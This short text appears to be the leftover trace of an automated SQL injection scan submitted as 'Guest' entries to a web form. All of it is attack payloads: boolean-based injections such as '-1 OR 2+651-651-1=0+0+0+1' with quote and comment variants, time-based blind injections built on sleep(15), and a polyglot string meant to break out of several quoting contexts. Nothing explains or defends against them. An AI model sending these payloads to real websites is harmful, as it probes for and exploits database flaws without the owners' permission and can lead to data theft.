Guest:
-1 OR 2+651-651-1=0+0+0+1


-1 OR 2+330-330-1=0+0+0+1 --

-1 OR 2+308-308-1=0+0+0+1

-1' OR 2+891-891-1=0+0+0+1 --

-1' OR 2+207-207-1=0+0+0+1 or 'kInQJTjt'='

-1" OR 2+262-262-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

Guest:
-1 OR 2+651-651-1=0+0+0+1
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Guest:
-1 OR 2+651-651-1=0+0+0+1
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/